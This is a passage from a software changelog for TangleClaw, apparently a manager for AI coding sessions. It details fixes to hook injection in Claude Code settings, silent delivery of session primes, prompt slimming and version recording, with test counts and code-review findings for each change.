  - **Critic-driven adjustments**: Independent Critic flagged 0 BLOCKERs / 2 MAJORs / 5 MINORs / 5 NITs. Both MAJORs addressed in-chunk: (M1) `repairAllOrphanHooks` silently failed-closed on the UI side when `apiMutate` threw or the server returned only `errors[]` — now surfaces a `toast-warn` for both the no-response and partial-failure paths, plus a fall-through error toast when the wire-handler `.catch` fires (replaces the prior swallow `.catch(() => {})`); (M2) the "TC-v3 incident shape" scan test used a misleading `orphanStopEntry().hooks[0] && { ... }` short-circuit that was dead-but-truthy — replaced with a plain object literal. MINORs N1 (regex comment), N2 (formatting-canonicalization JSDoc note), N3 (in-flight gate on `state.orphanHooksRepairInFlight` so polling-driven scan can't briefly flash pre-repair state back during the POST) addressed in-chunk; N4 (info-log per malformed entry kept) deferred — fail-open is documented in JSDoc and adding a per-entry log would risk dashboard spam on non-incidents. N5 (filter-Boolean comment) declined as overkill for a self-explanatory pattern. NITs T2 (CHANGELOG TBD placeholder), T3 (POSIX-rename caveat in JSDoc), T5 (unsupported-prefix caveat in JSDoc) addressed in-chunk. T1 (no `--auto` on commit) honored. T4 (test-tag punctuation consistency `(#145, chunk 2)` vs `(#145 chunk 2)`) addressed in-chunk.

- **`syncEngineHooks` injects methodology hooks without verifying their runtime targets exist — orphan hook errors across multiple projects (#145, chunk 1)** — `lib/engines.js:syncEngineHooks` was reading `methodologyTemplate.hooks.claude` and merging it into `.claude/settings.json` unconditionally. The bundled prawduct template declares hooks pointing at `$CLAUDE_PROJECT_DIR/tools/product-hook`, a script that the prawduct framework's own `prawduct-setup.py` is responsible for installing — TC has no business shipping it. Result: every TC-launched session for a `methodology: prawduct` project that hadn't run prawduct's setup tool got an orphan hook block written into its `.claude/settings.json`, firing `Stop hook error: ... [Errno 2] No such file or directory` on every wrap. Verified live across 11 prawduct projects on 2026-05-10: 1 working (Notse), 2 active orphans (prawduct-test, RentalClaw-Project), 1 dormant orphan (Medusa, gemini engine — Claude Code never reads the file), and 7 latent (one TC-launched session from manifesting). RentalClaw was the smoking gun — confirmed clean in the morning, then a single TC-launched session injected the orphan block as an uncommitted change. Same conceptual class as #119 / #136 (bundled state drifts away from runtime state without TC reconciling), but on the hook-injection axis instead of the bundled-template-content axis.
  - **Fix in `lib/engines.js`**: new `_filterHookEntriesByRequires(hooks, projectPath)` function honors an optional `requires` field on hook entries (array of project-relative paths). `syncEngineHooks` now wraps `methodologyTemplate.hooks.claude` through the filter before merging with baseline hooks. Entries whose `requires` paths all exist (or have no `requires` field) are kept; entries with any missing path are skipped with an `info`-level log so dashboards can later surface "this methodology declares hooks whose runtime isn't installed." The TC-specific `requires` field is stripped from the output before writing — Claude Code does not understand it and would surface as an unknown key in `settings.json`. AND-semantics: a hook needing multiple files needs them all (`requires: ["a", "b"]` means both a AND b must exist). Empty array (`requires: []`) means no preconditions — the degenerate-but-explicit case.
  - **Bundled template change in `data/templates/prawduct/template.json`**: SessionStart and Stop entries now declare `requires: ["tools/product-hook"]`. Tripwire test reads the bundled file directly and asserts every hook entry whose command references `tools/product-hook` declares it in `requires` — fires before a future PR drops the annotation and re-opens the gap.
  - **Why this design**: rejected three alternatives. (a) Heuristic path-extraction from command strings — fragile, would miss commands using shell features. (b) TC scaffolding the prawduct framework's runtime — couples TC release cadence to an external repo, supply-chain and version-skew burden. (c) Removing methodology hooks from bundled templates entirely — loses the contract value, backwards-incompatible. The declarative-`requires` approach is non-breaking (entries without `requires` retain current behavior), explicit, forward-compatible for any future methodology with runtime dependencies, and most importantly: **self-heals on next session launch** — no migration utility needed. Existing affected projects (the 9 with hook refs and 7 latent ones from the inventory above) get their orphan blocks stripped automatically as soon as TC re-runs `syncEngineHooks`.
  - **Engine semantics**: only methodology hooks pass through the filter — engine baseline hooks (e.g. silent prime SessionStart from #103, gated by capability + projConfig already) are not subject to `requires` because TC ships those runtimes itself (`data/hooks/sessionstart-prime.sh`). Filtering them would be belt-and-braces with no upside and would couple unrelated subsystems. The non-claude branch (`projConfig.engine !== 'claude'`, `:1007-1024`) is also untouched — it deletes the entire hooks block wholesale, doesn't iterate entries.
  - **What's intentionally NOT in chunk 1**: a one-shot bulk-repair admin endpoint (`POST /api/projects/repair-orphan-hooks`) to prune orphans without waiting for re-launch is deferred to chunk 2 — optional, since chunk 1 self-heals. A methodology-flip cleanup audit (does PATCHing methodology from prawduct → minimal correctly strip the prawduct-specific hook entries?) and a symmetric-capability-gates ADR are deferred to chunk 3. PATCH-time UI warning when methodology runtime isn't installed is filed as a separate enhancement.
  - **Tests**: 12 new in `test/engines.test.js` across three describe blocks. `_filterHookEntriesByRequires (#145)` (9 tests): keeps entries with satisfied requires, skips with single missing path, AND-semantics with multiple paths, backwards-compat for entries without `requires`, empty-array degenerate case, mixed kept-and-skipped within same event, plus the three Critic-driven additions — string-requires coercion (S1), fail-closed for empty-string/non-string array entries (S3), path traversal and absolute paths rejected (S2). `syncEngineHooks + requires precondition (#145)` (2 tests): self-heal pruning of orphan block while preserving non-hook keys (the RentalClaw / prawduct-test repro), idempotency across re-syncs flipping skip → inject when the requirement appears. `bundled prawduct template hook tripwire (#145)` (1 test): every bundled hook entry that references `tools/product-hook` declares it in `requires`. 1701 total passing (was 1689).
  - **Critic-driven adjustments**: Independent Critic flagged S1 (string-instead-of-array silently injects → coerce non-empty string to single-element array, the common single-precondition case is the most likely template-author typo and now Just Works), S2 (path traversal in `requires` accepted unchecked → reject any entry containing `..` segments or starting with `/`, fail closed; matches the project-relative intent), S3 (no test for empty-string / non-string array entries → added two assertions plus the negative tests for S1/S2), S4 (`syncEngineHooks` JSDoc didn't mention the new precondition behavior → added one sentence pointing at the helper and noting baseline hooks bypass the filter). Critic findings n1-n4 deferred or accepted as-is per project style.
  - **Cross-cutting reference**: this is the next layer of the symmetric-capability-gates work that started with #119, #136, #137, #140. Pattern: when two locations encode the same conceptual state (here: the hook reference in `settings.json` and the runtime script on disk), all transition paths between configurations must consistently update both. Asymmetric transitions leak orphan state. ADR formalizing the pattern deferred to chunk 3.

- **`PATCH /api/projects/:name` engine change leaves orphan `SessionStart` hook in `.claude/settings.json` (#140)** — Discovered during Independent Critic review of #137 (PR #141), filed and fixed as a follow-up. Flipping a project from `engine: 'claude'` (with `silentPrime: true`) to a non-claude engine wrote `projConfig.engine` and regenerated the engine config file but never re-synced hooks, so the now-stale `SessionStart` entry sat untouched in `.claude/settings.json`. Dormant in the moment (Claude Code isn't reading the file once the engine flips away), but a violation of the symmetric-capability-gates principle: the methodology and silentPrime PATCH branches both call `syncEngineHooks` after their hook-affecting mutations; the engine branch was the only outlier.
  - **Fix in `lib/engines.js:syncEngineHooks`**: the early-return for `projConfig.engine !== 'claude'` was a silent no-op — it left whatever was already in `.claude/settings.json` in place. Replaced with an explicit cleanup pass: when the current engine isn't claude, read `.claude/settings.json` if it exists and `delete settings.hooks` (preserves all non-hook keys). This makes the function's contract honest — "sync hooks for the current engine" now means "ensure no stale hooks remain" on the non-claude branch, not "leave whatever is there alone."
  - **Fix in `lib/projects.js` engine PATCH branch (`:858-893`)**: after writing the new engine config file, call `engines.syncEngineHooks(project.path, methodologyTemplate)` wrapped in try/catch. Mirrors the methodology branch (`:990`) and the post-#137 silentPrime branch (`:1068`).
  - **Why both halves**: just adding the call site without changing `syncEngineHooks` would not have cleared the orphan — the function read the just-saved `projConfig.engine === 'gemini'` and early-returned. The two-part fix is required for the test to pass.
  - **What's intentionally NOT done**: `projConfig.silentPrime` is left at its prior value across the engine flip (the issue body noted it stays `true`). The right behavior on cross-engine flips is debatable — clearing it on the way out would surprise users who flip back to claude expecting their setting preserved. Out of scope; the orphan-hook concern is the safety issue. If a future engine reads `.claude/settings.json`, it now sees a clean file.
  - **Symmetric capability gates**: methodology PATCH (`:990`), silentPrime PATCH (`:1068`), and engine PATCH (`:889`) now all call `syncEngineHooks` after their hook-affecting mutations. Project-attach (`:761`) and project-create (`:237`) likewise. The `feedback_symmetric_capability_gates.md` rule the Critic surfaced on #103 PR #125 holds across the full set.
  - **Tests**: 2 new in `test/projects.test.js` `silentPrime (#103)` describe block. `updateProject clears orphan SessionStart hook when engine flips claude → non-claude (#140)` seeds `silentPrime=true` on a claude project (so the SessionStart hook is genuinely materialized on disk), injects a non-hook `permissions` key to verify the cleanup pass preserves it, then PATCHes engine to `gemini` and asserts `settings.hooks.SessionStart` is gone while `permissions` survives. `updateProject materializes SessionStart hook when engine flips non-claude → claude with silentPrime=true (#140)` covers the reverse path the CHANGELOG claims — that flipping onto claude immediately materializes the hook without waiting for the next `launchSession`. 1689 total passing (was 1687).
  - **Critic-driven adjustments**: Independent Critic flagged that the original test asserted only the orphan-hook deletion, not non-hook-key preservation (m1) and didn't cover the reverse-flip materialization path the CHANGELOG promised (m2); both are now covered. Critic also flagged that `syncEngineHooks`'s non-claude branch is now write-active rather than a no-op (m3) — JSDoc updated to document the contract change. Code-comment line references replaced with branch names rather than absolute line numbers (n1) so future edits don't drift the comments.

- **`PATCH /api/projects/:name` with `silentPrime` doesn't sync `.claude/settings.json` until next session launch (#137)** — `updateProject` persisted `silentPrime` to `.tangleclaw/project.json` but never called `engines.syncEngineHooks(...)`, so the actual delivery pipeline only materialized on the next `launchSession`. DB + projConfig agreed but `.claude/settings.json.hooks.SessionStart` was missing — the toggle looked enabled, wasn't enabled.
  - **The asymmetry**: the methodology branch (`lib/projects.js:990`) and engine branch (`:760`) already called `syncEngineHooks` after their hook-affecting mutations. The silentPrime branch at `:1057-1061` was the only hook-affecting field that skipped the sync.
  - **Fix in `lib/projects.js`**: after `store.projectConfig.save`, call `engines.syncEngineHooks(project.path, store.templates.get(project.methodology))` wrapped in try/catch (matching `createProject`'s pattern at `:236-240`). On the silent→typed transition (`silentPrime: false`), also call `sessions._removePrimeFile(project.path)` to clear any stale `.tangleclaw/session-prime.md` left by a previous silent-on session — mirrors `launchSession`'s OFF-branch self-heal at `lib/sessions.js:171`. The helper is non-throwing on missing files, so unconditional on the false branch is safe.
  - **What's intentionally NOT done**: the prime file is not written on `silentPrime: true` PATCH. Prime text is launch-context-dependent — `generatePrimePrompt` reads `learnings.getActive()`, `sessions.getLatest().wrapSummary`, and eval-audit mode at session-launch time. Writing at PATCH time would persist a snapshot from the wrong moment. The launch-time-only contract is the right boundary; documented in the inline comment.
  - **Cycle check**: the new `const sessions = require('./sessions')` at the top of `lib/projects.js` is safe — `lib/sessions.js`'s require list (`store`, `tmux`, `tunnel`, `git`, `engines`, `methodologies`, `skills`, `project-version`, `logger`) does not transitively pull in `lib/projects.js`. Cross-module call is preferred over duplicating the unlink helper.
  - **Symmetric capability gates** (per the symmetric-gates feedback rule): the four silentPrime gates remain aligned. `_buildBaselineHooks` (`engines.js:937-940`), `updateProject` validation (`projects.js:810-820`), `launchSession` derivation (`sessions.js:152-154`), and the new PATCH-sync path (which delegates to `syncEngineHooks` → `_buildBaselineHooks`, inheriting the gate) all check `silentPrime===true && engineProfile.capabilities.supportsSilentPrime===true`. No drift introduced.
  - **Tests**: 5 new — 4 in `test/projects.test.js` `silentPrime (#103)` describe block (`syncs SessionStart hook on silentPrime=true`, `removes SessionStart hook on silentPrime=false`, `removes stale session-prime.md on silentPrime=false`, `silentPrime=false is a no-op for prime cleanup when file is absent`), 1 in `test/api-projects.test.js` (`PATCH silentPrime=true writes SessionStart hook to .claude/settings.json on disk` — locks in the wire-level contract that #137's repro hit). 1687 total tests passing (was 1682).
  - **Critic-driven adjustments**: build-plan note updated to record the cycle-absent verification (was originally hedged toward inlining the helper); test 2's assertion loosened from `after.hooks === undefined` to `after.hooks?.SessionStart === undefined` so future baseline-hook siblings of #103 don't break the test; engine-flip orphan hook noted as a separate follow-up (out of scope for this issue's repro).

## [3.14.0] - 2026-05-01

### Added

- **Silent prime delivery via Claude Code SessionStart hook — polish + final Critic (#103, chunk 3)** — Closes #103 by addressing all chunk-1/chunk-2 carry-forwards plus the chunk-2 Critic Mn5 UX polish. Behavior is unchanged for opted-in projects; this chunk is hardening + housekeeping.
  - **Hook script hardening (`data/hooks/sessionstart-prime.sh`)** — Replaced the no-op `set +e` (errexit is off by default in bash, so the line did nothing) with `set -u` for variable strictness, and switched both `${CLAUDE_PROJECT_DIR}` references to the `${CLAUDE_PROJECT_DIR:-}` default form so an unset env var no longer crashes the script. Added a defensive `cat "$PRIME_FILE" || true` so the unlikely race where the file vanishes between the readability check and `cat` cannot exit non-zero (also future-proofs against a later addition of `set -e`). The unset-env-var, missing-file, and exit-0 contracts the chunk-1 hook tests already lock in continue to hold; 4 new tests assert the structural hardening (`set -u` present, `set +e` gone, no bare `${CLAUDE_PROJECT_DIR}` dereferences, `cat || true` guard, plus a behavioral test for explicitly-empty `CLAUDE_PROJECT_DIR=''`).
  - **Prime-file cleanup on silent→typed transition (`lib/sessions.js:_removePrimeFile`)** — When a project flips `silentPrime: true → false`, the SessionStart hook is still installed (via `syncEngineHooks` baseline merge) but no longer expected to read anything. Without cleanup, the hook would replay yesterday's stale prime context to the AI on every subsequent launch. New `_removePrimeFile(projectPath)` helper unlinks `.tangleclaw/session-prime.md` if present (non-throwing, returns true on removal / false on missing or error). `launchSession` calls it on the OFF branch of the silentPrime gate so the cleanup self-heals on the next session launch — no PATCH-time hook needed in `updateProject`. 4 new tests: helper round-trip with file present, no-op when absent, non-throwing on unwritable target, and a `launchSession` integration test that pre-seeds a stale prime, sets `silentPrime: false`, launches, and asserts the file is gone.
  - **Settings modal toggle re-renders on engine dropdown change (Critic Mn5 from chunk 2)** — The chunk-2 implementation gated the silentPrime toggle's render on `project.engine.capabilities.supportsSilentPrime` at modal-open time only, so switching the engine dropdown to a non-supportive engine left a stale checkbox visible (the backend already rejected the resulting PATCH gracefully, but the user shouldn't be able to send a doomed request in the first place). Refactored to a stable container (`#settingsSilentPrimeContainer`) plus a `renderSilentPrimeToggle(engineId, preserveChecked)` helper that looks up the engine in `state.engines` and renders or wipes the toggle accordingly. A `change` listener on `#settingsEngine` re-invokes the helper with the new engine id and the checkbox's current `checked` state, so the user's intent (e.g., "turn silent prime on") is preserved across engine swaps and hidden when the new engine can't honor it. The chunk-2 settings-modal-silentprime test file was reshaped to match: 3 of the original 7 tests rewritten to follow the helper-based structure (capability gate now via `state.engines` lookup; checkbox tied to `preserveChecked`; non-supportive engines wipe the container) plus 2 brand-new tests (`initial render is wired into openSettings via renderSilentPrimeToggle`, `engine dropdown change re-renders the toggle`); 3 chunk-2 tests carry through unchanged.
  - **CHANGELOG bullet split** — Chunks 1 and 2 originally landed as single-paragraph bullets (per the Critic carry-forward note). Restructured into 3-4 sub-bullets each (this entry's format) so a future reader skimming the [Unreleased] section gets a clean overview without parsing dense prose.
  - **Final Critic** — Independent Critic ran across the full chunks 1+2+3 surface. Findings + resolutions captured below.
  - **Tests**: 9 new tests in chunk 3 (4 hook-script hardening, 4 prime-file cleanup including the `launchSession` transition test, +1 net on settings-modal-silentprime — 8 total now vs the 7 from chunk 2: 3 rewrites + 2 new + 3 unchanged). Total passing: 1682 (was 1673).

- **Silent prime delivery via Claude Code SessionStart hook — UI surface (#103, chunk 2)** — Per-project toggle that exposes the chunk-1 backend opt-in to users.
  - **Project Settings modal**: `public/ui.js:openSettings` renders a "Silent prime (hidden context)" checkbox when the resolved engine profile advertises `capabilities.supportsSilentPrime === true` (Claude Code today). Gating on the capability flag rather than `engine.id === 'claude'` keeps the UI honest if future engines gain the same capability without needing a UI change. The checkbox state mirrors `project.silentPrime`; `doSaveSettings` only attaches `silentPrime` to the PATCH body when the element was rendered, so a non-supportive engine never receives a stale `silentPrime: undefined`.
  - **API surface**: `lib/projects.js:enrichProject` exposes a new `silentPrime` field (read from `projConfig.silentPrime`, defaulted to `false` when projConfig is unavailable) so it flows through `GET /api/projects` and `GET /api/projects/:name`. `lib/projects.js:updateProject` accepts `silentPrime` as a boolean with type validation and a same-PATCH engine-aware capability gate (prefers `updates.engine` over `projConfig.engine` over `project.engineId` so a same-PATCH engine change is honored). `server.js` adds `silentPrime` to the PATCH response shape for symmetry with GET responses.
  - **Critic findings (3 MAJORs / 5 MINORs / 5 NITs)** — All 3 MAJORs addressed in-chunk: (M1) original chunk-2 placed silentPrime block at the *bottom* of `updateProject` after the engine-config-write side effects, so a same-PATCH `{engine: 'gemini', silentPrime: true}` would write `projConfig.engine` and the new engine config file before the silentPrime gate rejected, leaving DB engine_id and disk projConfig.engine inconsistent — fix hoists the entire silentPrime validation (type check + capability gate) to the top of the function before any mutations run; (M2) the same early-return clobbered prior accumulated `errors` and any non-null `methodologySwitch` — moot after the M1 hoist; (M3) chunk 2 had no CHANGELOG entry. Symmetric capability gate audit confirmed: UI render, `updateProject` validation, `_buildBaselineHooks` (chunk 1), and `launchSession` (chunk 1) all check `engineProfile.capabilities.supportsSilentPrime === true`, with the two backend launch-time gates additionally requiring `projConfig.silentPrime === true`. Mn1 (M1 atomic-rejection regression test) and Mn2 (negative-render test for the gate's ELSE branch) addressed in-chunk; Mn3, Mn4, and the 5 NITs accepted as coverage/style items that don't change correctness; Mn5 (UI re-render on engine dropdown change) deferred to chunk 3 and addressed there.
  - **Tests**: 17 new — `test/projects.test.js` (8 covering enrichProject + updateProject + the M1 atomic-rejection regression), `test/api-projects.test.js` (2 covering PATCH round-trip + non-boolean rejection), new `test/settings-modal-silentprime.test.js` (7 covering capability gate, checkbox state binding, ternary structure, doSaveSettings wiring). 1673 total passing (was 1656 after chunk 1 merge).

- **Silent prime delivery via Claude Code SessionStart hook — backend (#103, chunk 1)** — Opt-in path that delivers the session prime as hidden model context through Claude Code's `SessionStart` hook instead of pasting it into the terminal via `tmux send-keys`. End-state for an enabled project: a launched session shows an empty `>` prompt with no scrollback noise, while the methodology, last-session summary, active learnings, and eval-audit state are all in the AI's context.
  - **Hook script (`data/hooks/sessionstart-prime.sh`)** — Bundled bash script cats `${CLAUDE_PROJECT_DIR}/.tangleclaw/session-prime.md` and exits 0 silently if the file or env var is missing — failure can never block session startup. Permissions 0755.
  - **Hook merge plumbing (`lib/engines.js`)** — New `_buildBaselineHooks(projConfig, engineProfile)` returns a `SessionStart` entry pointing at the bundled script when `projConfig.silentPrime === true` AND `engineProfile.capabilities.supportsSilentPrime === true`, otherwise `{}`. New `_mergeHookObjects(a, b)` concatenates entries under each event name (methodology first, then baseline; deep-cloned). `syncEngineHooks` now merges methodology hooks with engine-level baseline hooks rather than replacing them, so Prawduct's existing `SessionStart` governance entry coexists with the new prime entry. The capability gate matches `launchSession`'s symmetrically by resolving the profile via `store.engines.get(projConfig.engine || 'claude')`.
  - **Session launch wiring (`lib/sessions.js`)** — New `_writePrimeFile(projectPath, primeText)` helper writes `.tangleclaw/session-prime.md` (creates the directory if missing, non-throwing on I/O failure). `launchSession` loads `projConfig` early, derives `silentPrime = projConfig.silentPrime === true && engineProfile.capabilities.supportsSilentPrime === true`, writes the prime file when set, and passes a new `silentPrime` arg into `_deferEngineInit` so the existing `tmux.sendKeys(primeText)` call is skipped on the silent path. `data/engines/claude.json` advertises `capabilities.supportsSilentPrime: true`; `lib/store.js:DEFAULT_PROJECT_CONFIG.silentPrime: false` (opt-in until proven). Other engines (Codex, Gemini, Aider) keep the existing typed-prime path.
  - **Critic findings (2 MAJORs / 4 MINORs / 4 NITs)** — Both MAJORs addressed in-chunk: (M1) `_buildBaselineHooks` originally read `projConfig.silentPrime` only, ignoring the engine capability — would have written an orphan SessionStart hook for engines that can't use it; fix takes `engineProfile` as a second arg and gates on both flags symmetrically with `launchSession`. (M2) The existing `syncEngineHooks` describe block in `test/engines.test.js` shared a single `projectDir` across 7 tests via `before/after`, leaving the new merge behavior load-bearing on an implicit assumption (no leftover `silentPrime: true` `project.json` in the shared dir); flipped to `beforeEach/afterEach` for full per-test isolation. 4 MINORs + 4 NITs deferred to chunk 3: CHANGELOG bullet split (resolved), hook-script `set -u` (resolved), prime-file cleanup on silent→typed transition (resolved), and comment polish + profile-validator allow-list verification (already-confirmed safe).
  - **Tests**: 29 new — `test/engines.test.js` (17 covering `_buildBaselineHooks` + `_mergeHookObjects` + `syncEngineHooks` integration), `test/sessions.test.js` (7 covering `_writePrimeFile` + `launchSession` silentPrime branches), new `test/sessionstart-prime-hook.test.js` (5 covering hook script behavior). 1656 total passing (was 1627).

## [3.13.7] - 2026-04-30

### Fixed

- **Session memory drift — wrap protocol never mentioned MEMORY.md, so 5 consecutive releases shipped without `.tangleclaw/memories/MEMORY.md` updates** — the wrap text generated by `triggerWrap()` lists steps from `data/templates/<methodology>/template.json` `wrap.steps`. Across all three bundled methodologies (`prawduct`, `tilt`, `minimal`), `memory-update` was missing — so the AI received `Wrap steps: version-bump, changelog-update, learnings-capture, next-session-prime, commit` with no instruction to touch session memory. Result: between v3.13.1 and v3.13.6, MEMORY.md sat untouched while five releases shipped, and the next session that opened MEMORY.md found a "Next Session" pointer to "tag and push v3.13.1" — work that had completed days earlier — leaving the AI lost about current state. Fix: add `"memory-update"` to `wrap.steps` in all three methodology templates (between `next-session-prime` and `commit` for prawduct; before `commit` for tilt and minimal); add a corresponding `'memory-update': /memory\.md|MEMORY\.md|\.tangleclaw[\\/]memor/i` regex to `WRAP_STEP_PATTERNS` in `lib/eval-audit.js` so wrap-quality scoring counts MEMORY.md mentions toward the perfect-score path. The wrap text the AI receives at the next session wrap will include `memory-update` as an explicit step, prompting an update to `.tangleclaw/memories/MEMORY.md` before commit. The user's bundled methodology's wrap-step config persists in the methodology template file — TC reads it fresh per wrap via `skills.getWrapSkill()`, so a server restart picks up the new template. Existing in-flight projects on prawduct, tilt, or minimal benefit immediately on next session wrap. Test changes in `test/eval-audit.test.js`: bumped the prawduct fixture to 6 steps, added a memory-mentioning exchange to the perfect-score test, asserted `memory-update` shows in `stepsMissing` for the partial-score test, added a new test asserting `memory-update` matches a `MEMORY.md` mention, bumped the empty-exchanges `stepsMissing.length` from 5 to 6. 1627 total tests passing (was 1626).

## [3.13.6] - 2026-04-30

### Changed

- **Slim session-start prime prompt; rely on CLAUDE.md for rules content (#102)** — The prime prompt produced by `generatePrimePrompt()` now carries only **session-dynamic state** (Active Learnings, Last Session Summary, Eval Audit Mode when enabled) plus the `# Session Start — <project>` header and the `*TangleClaw'd into existence.*` branding flourish. Removed: the `## Methodology: <name>` heading + description (already shown in the methodology pill at the top of the session UI **and** injected as the same heading into CLAUDE.md by `lib/engines.js:_generateClaudeMd`); the `## Current Phase` block (also injected into CLAUDE.md by the same generator); the `## Previous Methodology Archives` paths block (already injected into CLAUDE.md at `lib/engines.js:402` for the Claude generator and `:680` for the Aider generator — duplicating it in the prime added no signal); the `## Active Extension Rules` list with rule definitions (every active rule and its definition is already injected into CLAUDE.md's Core/Extension Rules sections at the top, so the prime was duplicating them); and the `## Shared Infrastructure: <group>` pointer line (the shared docs themselves are already injected into CLAUDE.md via `_buildSharedDocsSection()` — as inline content for `injectMode: 'inline'` docs and as reference lines for `injectMode: 'reference'` docs — so the prime's "N shared docs linked — read from <path>" pointer was a redundant breadcrumb to content the AI already has). Driving principle: **drop config that's already elsewhere in the AI's context; keep session-dynamic state**. The kept blocks are dynamic for distinct reasons: Active Learnings come from `store.learnings.getActive()` (project-scoped session state, never injected into engine config files); Last Session Summary comes from `store.sessions.getLatest().wrapSummary` (per-session continuity, can't be in CLAUDE.md by definition); Eval Audit Mode is the **only** surface telling the AI it's being scored — verified by grepping `evalAuditMode` in `lib/engines.js`, which returns zero hits in any of the four config generators. Net effect on a typical project: prime drops from ~20–50 lines (depending on methodology + groups + rules) to 2–10 lines. Net effect on session startup time: ~3–5 fewer seconds of prime ingest before first AI token, on top of #101's 3–5s saving from removing the version-recording dance. Tests in `test/sessions.test.js` inverted accordingly: 9 prior assertions that checked presence of the dropped blocks now lock in their absence (`assert.equal(prompt.includes(...), false)`), plus 1 new positive test asserting a clean project's prime contains only the header + branding flourish via regex shape match. Independent Critic flagged 0 BLOCKERs / 0 MAJORs / 2 MINORs / 4 NITs, MINOR 2 + NIT 1 + NIT 2 addressed in-chunk: the Eval Audit Mode block now carries an inline comment explaining why it's intentionally kept in the prime (so a future refactor doesn't blindly delete it as "yet another duplicate"); CHANGELOG corrected on the Methodology Archives justification (they ARE in CLAUDE.md, not just findable on disk — the deletion is correct but the original framing was inaccurate); CHANGELOG clarified on shared-docs injection (it's content for inline mode, references for reference mode, not uniformly "full content"). Other 1 MINOR (no test asserts presence of dropped blocks IN CLAUDE.md to lock in division of concerns) + 3 NITs (engineProfile param unused, truncation logic untested, learnings test doesn't assert CLAUDE.md absence) accepted — all are coverage-completeness improvements that don't change the implementation's correctness. The `engineProfile` parameter to `generatePrimePrompt()` is left in place since the only call site already passes it; removing both isn't worth the diff churn. 1622 total tests passing (was 1620).

## [3.13.5] - 2026-04-30

### Fixed

- **First user message of every bypass-mode session is a stray `2` (#119)** — When a session was launched in `bypassPermissions` mode (`--dangerously-skip-permissions`), the first user-message turn the AI received was the literal text `2` instead of the prime prompt or the user's input. The bundled `data/engines/claude.json` declared `preKeys: ["2", "Enter"]` for that mode, originally added to dismiss Claude Code's old "press 2 to confirm dangerous mode" confirmation dialog. The current Claude Code CLI no longer presents that confirmation, so `2` + `Enter` typed via tmux `send-keys` landed straight in the chat input as the first submitted message. Fix is two-part because `_mergeBundledProfile` only adds missing keys (never removes): (1) the bundled profile no longer declares `preKeys`/`preKeyDelay` on `bypassPermissions` so new installs are clean; (2) a one-shot prune in `_mergeBundledProfile` removes the stale value from existing live profiles when it equals exactly `["2","Enter"]` — equality match preserves any user-customized preKeys (e.g. a forked binary that still requires confirmation). The prune is keyed on filename (`claude.json`) rather than `live.id === 'claude'` so a profile whose `id` field has drifted from a hand-edit still self-heals. Independent Critic flagged 2 MAJORs and 1 doc parity issue, all addressed in-chunk: (M1) the prune guard switched from `id`-field to filename per the above; (M2) stale "press 2 to continue" reference in `_resolvePreKeys` JSDoc reworded to a generic "dismissing a confirmation dialog" example; (D1) `_mergeBundledProfile` JSDoc updated to acknowledge the targeted prune as a narrowly-scoped exception to the otherwise additive merge contract. The post-write log line now distinguishes merge-only vs prune-only paths so a pure prune doesn't misleadingly emit "Merged new bundled fields" (Critic NIT). 4 new tests in `test/store.test.js`: (1) bundled profile carries no preKeys on bypassPermissions, (2) stale `["2","Enter"]` is pruned on init, (3) custom preKeys (e.g. `["y","Enter"]`) are preserved, (4) the prune is idempotent — a second init after pruning does not rewrite the file. 1624 total tests passing (was 1620).

## [3.13.4] - 2026-04-30

### Changed

- **Record project version in TangleClaw at session launch instead of delegating to the AI (#101)** — `.tangleclaw/project-version.txt` is now written by TangleClaw itself, not by the AI session. The previous design (introduced in #55 chunk 2) injected a ~20-line "Project Version Recording" protocol into every session's prime prompt instructing the AI to inspect `CHANGELOG.md` / `version.json` / `package.json` / `git describe`, format an ISO-8601 UTC timestamp, and write the cache file in a specific key/value format. That's pure file I/O + string parsing — zero reasoning where an LLM adds value, and it produced 3–5 visible tool calls of scrollback noise on every session start plus inconsistent output across sessions (different models pick different sources, different timestamp precisions, different `source:` strings like `CHANGELOG.md` vs `CHANGELOG.md:11` vs `CHANGELOG`). New `lib/project-version.js` module: `detectVersion(projectPath) → { version, source }` runs the same fallback chain (CHANGELOG → version.json → package.json → git tag → `0.0.0-dev`) using `child_process.execFileSync` for the git lookup with a 2 s timeout and stripping a leading `v` from tags so `v3.13.3` matches manifest sources; `recordVersion(projectPath)` calls detect, formats `version: / recorded_at: / source:` lines with a millisecond-stripped ISO-8601 UTC timestamp, creates `.tangleclaw/` if missing, writes the file. Both functions are non-throwing — `recordVersion` returns `null` and logs a warning on any I/O failure so a read-only project dir or full disk never blocks session launch or wrap. Wired into `lib/sessions.js`: `launchSession()` calls `recordVersion(project.path)` before generating the prime; `triggerWrap()` calls it before sending the wrap text (captures pre-wrap state; the next session-launch record captures any version bump the wrap itself produced like a CHANGELOG promotion or git tag). Removed: the entire `## Project Version Recording` block (18 lines) from `generatePrimePrompt()`, the appended re-record instruction from `triggerWrap()`, the `projectVersionGuide` loader and all 4 generator usages in `lib/engines.js` (`_generateClaudeMd`, `_generateGeminiMd`, `_generateCodexYaml`, `_generateAiderConf`), and the now-unused `data/project-version-recording-guide.md` file (added in PR #76). The cache-file *reader* in `lib/projects.js:_readVersionCacheFile` is unchanged — `enrichProject()` still reads the file for the landing-page enrichment chain, just now with a deterministic writer behind it. Tests: new `test/project-version.test.js` (20 tests covering detectVersion's 5-layer chain with priority assertions, recordVersion's file-format + idempotence + non-string-input defensiveness, `_formatCacheFile`, and `_readGitTagVersion` with real git repos via `child_process.execFileSync`); inverted assertions in `test/sessions.test.js` (prime no longer contains `## Project Version Recording`, wrap command no longer contains `project-version.txt`/`re-check the project version`) plus 2 new positive tests asserting `triggerWrap` and `launchSession` actually write the cache file with the expected ISO-8601 UTC `recorded_at:` field; inverted assertions in `test/engines.test.js` (no generator with `supportsConfigFile` includes the section anymore, `_getRulesContent` no longer surfaces a `projectVersionGuide` field). Visible cost saved per session: ~20 lines of prime-prompt noise gone, 3–5 AI tool calls eliminated, output is now deterministic. Independent Critic flagged 1 MINOR (test isolation: the launchSession write-detection test seeded a `package.json` into a shared project dir without cleanup, which would have leaked into a future test in the same describe block) and 3 NITs, MINOR + 1 NIT addressed in-chunk: cleanup now runs in `finally` removing both the seeded `package.json` and the produced `.tangleclaw/` directory; `_readGitTagVersion`'s silent-catch now logs at `debug` level so a slow-repo `git describe` timeout is diagnosable when verbosity is raised. Other 2 NITs (millisecond strip undocumented in JSDoc; `recordVersion` doesn't reject whitespace-only path strings) accepted — millisecond format choice is locked in by tests so any future change would surface there, and a whitespace path triggers the outer try/catch + `null` return path harmlessly. 1620 total tests passing (was 1600).

## [3.13.3] - 2026-04-29

### Fixed

